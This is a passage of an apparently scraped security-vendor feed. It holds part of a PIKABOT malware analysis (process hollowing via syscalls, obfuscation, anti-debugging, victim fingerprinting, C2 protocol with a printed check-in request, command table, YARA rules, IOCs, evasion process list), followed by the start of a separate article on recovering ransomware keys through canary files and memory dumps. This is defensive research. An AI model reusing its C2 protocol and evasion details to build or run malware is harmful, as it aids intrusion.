<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9a7a2b308e9cdf91/6a7c915f42a11774e09563cf/image27.png" alt="PIKABOT loader using decompression function" title="PIKABOT loader using decompression function" /></p>
<p>The loader creates a suspended instance of <code>ctfmon.exe</code> using the <code>ZwCreateUserProcess</code> syscall, a tactic designed to masquerade as a legitimate Windows process. Next, it allocates a large memory region remotely via the <code>ZwAllocateVirtualMemory</code> syscall to house the PIKABOT core's PE file.</p>
<p>Subsequently, the loader writes the PIKABOT core into the newly allocated memory area using the <code>ZwWriteVirtualMemory</code> syscall. It then redirects the execution flow from <code>ctfmon.exe</code> to the malicious PIKABOT core by calling the <code>SetContextThread</code> API to change the thread's execution address. Finally, it resumes the thread with <code>ZwResumeThread</code> syscall.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8e593936d4c8e8b9/6a7c91629f52510f3d6642ec/image13.png" alt="Syscall execution of core payload" title="Syscall execution of core payload" /></p>
<h2 id="pikabotcore">PIKABOT core</h2>
<p>The overall behavior and functionality of the updated PIKABOT core are similar to previous versions: the bot collects initial data from the victim machine and presents the threat actor with command and control access to enable post-compromise behavior such as command-line execution, discovery, or launching additional payloads through injection. </p>
<p>The notable differences include:</p>
<ul>
<li>New style of obfuscation with fewer in-line functions</li>
<li>Multiple implementations for decrypting strings</li>
<li>Plaintext configuration at runtime, removal of JSON format </li>
<li>Network communication uses RC4 plus byte swapping, removal of AES</li>
</ul>
<h3 id="obfuscation">Obfuscation</h3>
<p>One of the most apparent differences is centered around the obfuscation of PIKABOT. This version contains a drastically less obfuscated binary but provides a familiar feel to older versions. Instead of a barrage of in-line RC4 functions, there are only a few left after the new update. Unfortunately, there is still a great deal of obfuscation applied to global variables and junk instructions.  </p>
<p>Below is a typical example of junk code being inserted in between the actual malware’s code, solely to extend analysis time and add confusion. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3f2154ffa99f5682/6a7c91646c6eaccac1f0e65d/image18.png" alt="Obfuscation using global variables" title="Obfuscation using global variables" /></p>
<h3 id="stringdecryption">String Decryption</h3>
<p>As mentioned previously, there are still some in-line RC4 functions used to decrypt strings. In previous versions, the core used base64 encoding as an additional step in combination with using AES and RC4 to obscure the strings; in this core version, we haven’t seen base64 encoding or AES used for string decryption.</p>
<p>Here’s an instance of a remaining in-line RC4 function used to decrypt the hardcoded mutex. In this version, PIKABOT continues its trademark use of legitimate strings as the RC4 key to decrypt data.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta2837666bed4bd78/6a7c9167ead8ecaa19ba4c00/image12.png" alt="In-line RC4" title="In-line RC4" /></p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0942993752723e6f/6a7c916ac2cc09bd22243682/image16.png" alt="String decryption using RC4 with benign strings" title="String decryption using RC4 with benign strings" /></p>
<p>In this new version, PIKABOT includes a different implementation for string obfuscation by using stack strings and placing individual characters into an array in a randomized order. Below is an example using <code>netapi32.dll</code>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt14fcfc004e9306f6/6a7c916dbdcff0cd1bc3d36e/image22.png" alt="Stack string placement using &lt;code&gt;netapi32.dll&lt;/code&gt;" title="Stack string placement using &lt;code&gt;netapi32.dll&lt;/code&gt;" /></p>
<h3 id="antidebugging-1">Anti-debugging</h3>
<p>In terms of anti-debugging in this version, PIKABOT checks the <code>BeingDebuggedFlag</code> in the PEB along with using <code>CheckRemoteDebuggerPresent</code>. In our sample, a hardcoded value (<code>0x2500</code>) is returned if a debugger is attached. These checks unfortunately are not in a single place, but scattered in different places throughout the binary, for example right before network requests are made.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfd4c7cf914056a79/6a7c915251156a06552bcbc3/image9.png" alt="Debugger check" title="Debugger check" /></p>
<h3 id="execution-1">Execution</h3>
<p>Regarding execution and overall behaviors, PIKABOT’s core closely follows the execution flow of older versions. Upon execution, PIKABOT parses the PEB and uses API hashing to resolve needed libraries at runtime. Next, it validates the victim machine by verifying the language identifier using <code>GetUserDefaultLangID</code>. If the <code>LangID</code> is set to Russian (<code>0x419</code>) or Ukranian (<code>0x422</code>), the malware will immediately stop its execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb8e77b15beea5df9/6a7c91716c6eac2d6af0e669/image26.png" alt="Language check" title="Language check" /></p>
<p>After the language check, PIKABOT creates a mutex to prevent reinfection on the same machine. Our sample used the following mutex: <code>{6F70D3AF-34EF-433C-A803-E83654F6FD7C}</code></p>
<p>Next, the malware will generate a UUID from the victim machine using the system volume number in combination with the hostname and username. PIKABOT will then generate a unique RC4 key seeded by <code>RtlRandomEx</code> and then place the key into the config structure to be used later during its network communications.</p>
<h3 id="initialcollection">Initial Collection</h3>
<p>The next phase involves collecting victim machine information and placing the data into a custom structure that will then be encrypted and sent out after the initial check-in request. The following actions are used to fingerprint and identify the victim and their network:</p>
<ul>
<li>Retrieves the name of the user associated with the PIKABOT thread</li>
<li>Retrieves the computer name </li>
<li>Gets processor information</li>
<li>Grabs display device information using <code>EnumDisplayDevicesW</code></li>
<li>Retrieves domain controller information using <code>DsGetDcNameW</code></li>
<li>Collects current usage around physical and virtual memory using <code>GlobalMemoryStatusEx</code></li>
<li>Gets the window dimensions using <code>GetWindowRect</code> used to identify sandbox environments</li>
<li>Retrieves Windows OS product information using <code>RtlGetVersion</code></li>
<li>Uses <code>CreateToolhelp32Snapshot</code> to retrieve process information</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8379cda128ae8d7e/6a7c9173c2cc0958dc24368e/image23.png" alt="Victim information retrieved such as username, computer name, etc" title="Victim information retrieved such as username, computer name, etc" /></p>
<h3 id="config">Config</h3>
<p>One strange development decision in this new version is around the malware configuration. At runtime, the configuration is in plaintext and located in one spot in memory. This does eventually get erased in memory. We believe this will only temporarily last as previous versions protected the configuration and it has become a standard expectation when dealing with prevalent malware families. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt43d0c38a4fca8639/6a7c917673d9bdb32d297edb/image4.png" alt="Configuration in plaintext at core runtime" title="Configuration in plaintext at core runtime" /></p>
<h3 id="network">Network</h3>
<p>PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc) using User-Agent <code>Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)</code>. The build number of the PIKABOT core module is concatenated together from the config and can be found being passed within the encrypted network requests, the version we analyzed is labeled as <code>1.8.32-beta</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc3971447d688c0f4/6a7c91796c6eac6e31f0e66d/image10.png" alt="New PIKABOT version on the stack" title="New PIKABOT version on the stack" /></p>
<p>On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4. The RC4 key is sent in this initial packet at offset (<code>0x10</code>). As mentioned previously, PIKABOT no longer uses AES in its network communications. </p>
<pre><code>POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
</code></pre>
<p><em>PIKABOT initial check-in request</em></p>
<p>For each outbound network request, PIKABOT randomly chooses one of the following URI’s:</p>
<pre><code>/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
</code></pre>
<p><em>List of URI’s used in PIKABOT C2 requests</em></p>
<p>Unlike previous versions by which victim data was placed in a structured format using JSON, the data within these requests are raw bytes. The first 16 bytes are used to pass specific config information (bot command ID, byte shift, etc). The next 32-bytes embed the RC4 key for the session where then the encrypted data is followed in the request. </p>
<p>There is one additional transformation where the developers added a random shift of bytes that occurs at runtime. This number (<code>0x18</code>) at offset (<code>0xF</code>) in the example request below represents the number of bytes to shift from the end of the encrypted data to the start of the encrypted data. In our example, to successfully decrypt the data, the last 18 bytes would need to be placed in front of bytes (<code>0xDA 0x9E</code>). </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte83eb3e7fa43dd86/6a7c917c96b5a68e39875878/image20.png" alt="Hex view of network request on initial check-in" title="Hex view of network request on initial check-in" /></p>
<h3 id="botfunctionality">Bot Functionality</h3>
<p>In terms of the core bot functionality, it is similar to previous versions:  executing commands, performing discovery, as well as process injection capabilities. From our perspective, it still seems very much like a work in progress. One command ID (<code>0x982</code>) is an empty function, in another case, there are three unique command ID’s pointed to the same function. These indicate that this software is not quite complete.</p>
<p>| Command ID | Description |
|------------|-------------|
| 0x1FED | Beacon timeout |
| 0x1A5A | Exits the PIKABOT process |
| 0x2672 | Includes obfuscation, but appears to not do anything meaningful |
| 0x246F | Creates file on disk and modifies registry tied to configuration |
| 0xACB | Command-line execution with output |
| 0x36C | PE inject in a remote process |
| 0x792 | Shellcode inject in a remote process |
| 0x359, 0x3A6, 0x240 | Command-line execution similar to 0xACB, uses custom error code (0x1B3) |
| 0x985 | Process enumeration, similar to initial victim collection enumeration |
| 0x982 | Empty function |</p>
<h3 id="malwareandmitreattck">Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4 id="tactics">Tactics</h4>
<p>Tactics represent the <em>why</em> of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4 id="techniques">Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/">Encrypted Channel</a></li>
</ul>
<h2 id="detectingmalware">Detecting malware</h2>
<h3 id="prevention">Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_with_unusual_mitigation.toml">Process Creation with Unusual Mitigation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">Windows.Trojan.PikaBot</a></li>
</ul>
<h4 id="yara">YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">PIKABOT</a>:</p>
<pre><code>rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}
</code></pre>
<h2 id="observations">Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/pikabot">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<p>| Observable |    Type     | Name        | Reference   |
|------------|-------------|-------------|-------------|
| <code>2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b</code> | SHA-256 | <code>Opc.zip</code> | Zip archive holding obfuscated Javascript |
| <code>ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d</code>| SHA-256 | <code>grepWinNP3.exe</code> | PIKABOT loader |
| <code>139.84.237[.]229:2967</code> | ipv4-addr | | PIKABOT C2 server |
| <code>85.239.243[.]155:5000</code> | ipv4-addr | | PIKABOT C2 server |
| <code>104.129.55[.]104:2223</code> | ipv4-addr | | PIKABOT C2 server |
| <code>37.60.242[.]85:9785</code> | ipv4-addr | | PIKABOT C2 server |
| <code>95.179.191[.]137:5938</code> | ipv4-addr | | PIKABOT C2 server |
| <code>65.20.66[.]218:5938</code> | ipv4-addr | PIKABOT C2 server |
| <code>158.220.80[.]157:9785</code> | ipv4-addr | PIKABOT C2 server |
| <code>104.129.55[.]103:2224</code> | ipv4-addr | PIKABOT C2 server |
| <code>158.220.80[.]167:2967</code> | ipv4-addr | PIKABOT C2 server |
| <code>entrevientos.com[.]ar</code> | domain | | Hosting infra for zip archive |
| <code>gloverstech[.]com</code> | domain | | Hosting infra for PIKABOT loader |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT</a></li>
<li><a href="https://x.com/Cryptolaemus1/status/1755655639370514595?s=20">https://x.com/Cryptolaemus1/status/1755655639370514595?s=20</a></li>
</ul>
<h2 id="appendix">Appendix</h2>
<pre><code>Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe
</code></pre>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/pikabot-i-choose-you</link>
    <guid isPermaLink="false">pikabot-i-choose-you</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte19ebf2ad2c1954f/6a7c917f05b7b50abb185d43/photo-edited-02.png" length="0" type="image/png"/>
    <pubDate>Sat, 24 Feb 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Ransomware in the honeypot: how we capture keys with sticky canary files]]></title>
    <description><![CDATA[This article describes the process of capturing encryption keys from ransomware using Elastic Defend ransomware protection.]]></description>
    <content:encoded><![CDATA[<h2 id="tldr">TL;DR</h2>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0eac21533c8c5ed4/6a7c923a6c6eac6ecbf0e69f/image12.png" alt="Source: https://twitter.com/DebugPrivilege/status/1716890625864564796" title="Source: https://twitter.com/DebugPrivilege/status/1716890625864564796" /></p>
<p>At Elastic, we have bi-annual ON Weeks, where engineers break into “hack-a-thon” teams to tackle a technical challenge voted on by the team. This article presents the outcome of <a href="https://www.elastic.co/security-labs/deep-dive-into-the-ttd-ecosystem">yet another</a> Elastic ON Week, where we delved into an innovative application of Elastic Endpoint ransomware protection. Our research used our existing ransomware canary protection, deployed since 7.14, to generate memory snapshots (i.e., data collections that record process information) of the process(es) identified as ransomware. Through analysis of these snapshots, our research illustrated how we could recover critical information for the forensics process and even encryption keys, allowing for complete decryption.</p>
<p>This process memory snapshotting mechanism was added starting with Elastic Defend 8.11, allowing DFIR teams to find memory dumps of ransomware flagged by our ransomware protection, all within Elastic Endpoint’s secure installation folder (by default, <code>$ElasticInstallPath\Endpoint\cache\RansomwareDumps</code>). </p>
<h2 id="introduction">Introduction</h2>
<p>In 2024, we don't need to explain what ransomware is or the multibillion-dollar industry it's become or explain how even companies with unlimited budgets struggle to contain or prevent it. These adversaries are mature and efficient, often outpacing security functions like forensic and malware analysis.</p>
<h3 id="currentstateofprotection">Current state of protection</h3>
<p>Thankfully, over the years, AVs/EDRs have become increasingly better at detecting and preventing ransomware. Among the most common existing mitigations, we find: </p>
<ul>
<li>Static and dynamic detection by signatures: this is usually performed at various levels (through hashes at a file or ELF/PE section level) and file activity (write access to files with high entropy changes) has the advantage of being easily and rapidly implemented, but are also likely to generate false positives </li>
<li>Reverse engineering: Reversing binaries can expose new ways to interfere with execution, as malware authors implement OS-level fail-safes (for instance, through Mutant objects) and/or network fail-safes (like WANNACRY) </li>
<li>Recovery backups: These are not always thoroughly tested, and even if they’re working there is a risk of data loss between the last backup and the moment of infection </li>
<li>Shadow copies: Somewhat similar to recovery backups, ransomware usually actively locates and attempts to destroy them prior to encrypting files on a system </li>
<li>High entropy and rapid file change: This approach is purely experimental and attempts to detect drastic changes in the file content as an indicator of encryption, however, this is also very false positive (FP) prone</li>
<li>Last cryptography weakness: By far the most complex mitigation, as it requires reverse engineering and cryptographic knowledge, but also luck as adversaries hope that the author rolls their own crypto API (see Elastic's Mark Mager <a href="https://youtu.be/0TF9NLsGCHA">2019 DEFCON talk</a> for some examples); this approach can’t work against modern OS native cryptographic APIs as long as they’re properly implemented according to documentation</li>
</ul>
<h3 id="howransomwareusuallyworksandwhyitmatters">How ransomware (usually) works, and why it matters</h3>
<p>It is imperative that we know both what we're protecting against and how it internally operates to be effective. This diverse nature underlines that there may never be a universal solution to combat all ransomware strains. Understanding this diversity also emphasizes the importance of our technique, which provides significant insights about ransomware.</p>
<p>From a high level, the sequence of actions that ransomware executes is usually summarized as such:</p>
<ol>
<li><strong>Delivery</strong>: this can be done in several ways, from social engineering to 0-day/1-day vulnerability exploitation. This approach can also rely on weak passwords to remotely infect targets.</li>
<li><strong>C2 Communication</strong>: once the execution starts, the ransomware may communicate with the C2 to exchange configuration and share information about the victim. This step can also leave room for the C2 to have a kill switch in place, preventing further infection</li>
<li><strong>Encryption</strong>: after establishing a cryptographic context, the process recursively browses the file system, looks for files with specific extensions, and encrypts them.</li>
<li><strong>Extortion</strong>: after sharing the decryption keys with the C2, the ransomware will drop a ransom note and (usually very visibly) notify the infected user of its actions and ways to obtain the decryption key. At that point, all cryptographic context allowing recovery may already be lost </li>
<li><strong>Propagation</strong>: if possible, the ransomware may try to infect more systems automatically.</li>
</ol>
<p>However, looking at it at a lower level reveals that ransomware operates quite uniquely: for example, focusing on the delivery step, the notorious <a href="https://www.cisa.gov/sites/default/files/FactSheets/NCCIC%20ICS_FactSheet_WannaCry_Ransomware_S508C.pdf">WANNACRY ransomware</a> spread via a vulnerability in the Windows operating system, known as <a href="https://arstechnica.com/information-technology/2017/04/nsa-leaking-shadow-brokers-just-dumped-its-most-damaging-release-yet/">EternalBlue</a>; whereas <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit">LOCKBIT</a> variants tend to infect using phishing emails, exploit kits, or by leveraging compromised Remote Desktop Protocol (RDP) credentials. </p>
<p>During this research, it was mostly the 3rd step that interested us as it is usually where detection and prevention can be most effective, such as with our canary protection.</p>
<h3 id="understandingthecanaryfilesfeatureinelasticendpoint">Understanding the Canary files feature in Elastic Endpoint</h3>
<p>Originating in Elastic 7.14, Elastic Endpoint ransomware protection uses <a href="https://www.elastic.co/blog/deterring-ransomware-for-state-and-local-government">canary files</a> with the purpose of attempting to honeypot ransomware by (over-)writing some specific files. This provides a high confidence indicator that the culprit process is attempting to encrypt all files.</p>
<p>A canary file acts and looks exactly like any other file - it can have valid content (DOCX, PDF, etc.), hidden, or marked as a system file to avoid user tampering. However, canary files cannot be “fingerprinted” and avoided by ransomware. All of these factors lead to a robust indicator for ransomware access.</p>
<p>Even though canary files are very successful in providing indicators for ransomware, it is hard to be certain on Windows systems that no file has been encrypted <em>before</em> the detection (and, if wanted, termination) occurs. This is not a product defect, it is due to the very structure of how MiniFilters work on Windows. Therefore, even though the attack is thwarted, some files may have been encrypted. Worse, if the process is terminated, the possibility of retrieving the original content may be completely lost.</p>
<p>And this is where our ON Week research began…</p>
<h2 id="extendingourcanaryprotectiontogenerateprocesssnapshots">Extending our canary protection to generate process snapshots</h2>
<h3 id="thebasicunderlyingconcept">The basic underlying concept</h3>
<p>The idea behind this first research was as follows:</p>
<ul>
<li>At the kernel level, detect write access attempts to a file with a specific name (our canary)</li>
<li>From userland, generate a process dump of the culprit process attempting the write operation and signal the driver to continue execution as designed</li>
<li>Analyze process dumps</li>
</ul>
<p>With ON Week being limited to one week, this is the initial time frame we had for developing a prototype. </p>
<h3 id="implementation">Implementation</h3>
<h4 id="inkernelland">In kernel land</h4>
<p>Developing a MiniFilter driver to monitor write access to files with specific names went relatively easily following the well-documented <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/_ifsk/">MiniFilter API documentation</a>:</p>
<ol>
<li>Declare the filter table containing the callbacks we want to install, one for write access when invoking <code>NtWriteFile()</code>, and another for when attempting to write to a mapped section</li>
</ol>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4aa1b5cbdd4cc9fc/6a7c923d73d9bdabe3297f0d/image19.png" alt="Registering MiniFilter callbacks for file and section writes" title="Registering MiniFilter callbacks for file and section writes" /></p>
<ol>
<li>Create and register the filter, including the file name pattern to monitor and start filtering:
<img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2640648bb88a2428/6a7c924042a11778f095640f/image5.png" alt="Declaring a filename pattern to inspect for the MiniFilter driver" title="Declaring a filename pattern to inspect for the MiniFilter driver" /></li>
</ol>
<p><em>Image 2: Declaring a filename pattern to inspect for the MiniFilter driver</em>
Once our filter is registered to the Filter Manager, write accesses will go through our driver’s callbacks when specific syscalls are triggered: by <code>NtWriteFile</code> when a process attempts to write a buffer to a file, or by <code>NtCreateSection()</code> when a process to create a section with file-backed mappings with write access (<code>SECTION_MAP_WRITE</code>)</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt413321f019a9f636/6a7c9243b4377080494d130c/image16.png" alt="Suspending process upon write access detection to the canary file" title="Suspending process upon write access detection to the canary file" /></p>
<p>As we can see either action will result in the invoking process being suspended (call to our function <code>SuspendProcessById</code>) allowing a userland process to snapshot its memory. The following video summarizes all those steps:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0fe194a6c3a9c6aa/6a7c9246448e4ed4155baec6/image2.png" alt="Source: https://youtu.be/U0vCHzN-69w" title="Source: https://youtu.be/U0vCHzN-69w" /></p>
<h3 id="inuserland">In user land</h3>
<p>Generating memory dumps is a robust mechanism well anchored into Windows and a significant part of its Error Reporting mechanism - or <a href="https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting">WER</a>. Through simple and explicit API calls, like <a href="https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump"><code>MiniDumpWriteDump</code></a> any user or program may dump (if permission permits) the complete memory layout and content of a target process, along with more information depending on flags passed during invocation such as:</p>
<ul>
<li>handle information</li>
<li>thread information</li>
<li>unloaded module details and more</li>
</ul>
<p>A complete reference list of available types can be consulted <a href="https://github.com/Skulltrail192/One-Core-Api/blob/76729f2108c2afca24d89efc92b814a07b92a62e/dll/win32/dbghelp/compat.h#L914-L931">here</a>.</p>
<p>We decided to use memory dumps, designed for debugging software, to extend our ransomware protection feature's existing canary file capabilities. When ransomware is detected, we generate a complete memory dump before the process is terminated. Using memory dumps against malware has tremendous advantages, including:</p>
<ul>
<li>Revealing the process memory layout, which is particularly useful when packing has obscured the memory regions</li>
<li>Disclosing all memory contents of the process as it is running, including unwiped memory regions since Windows does not immediately erase memory for performance reasons </li>
<li>Providing stable and safe ways to experiment against malware through emulation</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt16028b2748a67a79/6a7c924951156a05422bcc13/image11.png" alt="Creating the memory dump from the user-mode process" title="Creating the memory dump from the user-mode process" /></p>
<p>Very quickly, we had a stable and reliable way to detect canary write access and generate complete memory dumps of the ransomware triggering them. Due to time constraints, we selected two popular families to test the analysis phase of our project: NOTPETYA and WANNACRY.</p>
<p>The prototype code can be found <a href="https://github.com/calladoum-elastic/canary-driver">here</a> and is not intended for production use. Please experiment at your own risk, using non-production systems.</p>
<h3 id="reallifeexamples">Real-life examples</h3>
<h4 id="recoveringkeysfromprocessruntimethecaseofnotpetya">Recovering keys from process runtime: the case of NOTPETYA</h4>
<p>Why NOTPETYA? It was a good first candidate because it encrypts all files with one random session key. It also uses strong cryptography:</p>
<ul>
<li>RSA-1024 for the host-level asymmetric encryption key</li>
<li>A unique AES-128 CBC key used for encrypting the files</li>
</ul>
<p>Using the driver and agent crafted above, we could easily have NOTPETYA (SHA1 <a href="https://www.virustotal.com/gui/file/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"><code>027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745</code></a>) run in a contained environment and get a process minidump at a very predictable runtime location. </p>
<p>Our current design causes the driver to capture the writes synchronously, so we know exactly where we are in the process runtime when analyzing dump files. However, we still needed some reverse engineering to learn exactly how the session keys were generated.</p>
<p>Reversing this NOTPETYA DLL proved to be straightforward, which helped us move quickly: </p>
<ul>
<li>After some initial checks, the DLL attempts to iterate through all the possible drive letters, and for each match (i.e., the letter - such as <code>C:\</code> exists) a <code>0x20</code> thread context will be created to proceed with the encryption</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt835e7a75e07abdc8/6a7c924c42a1174651956413/image4.png" alt="Reversing NOTPETYA encryption steps" title="Reversing NOTPETYA encryption steps" /></p>
<ul>
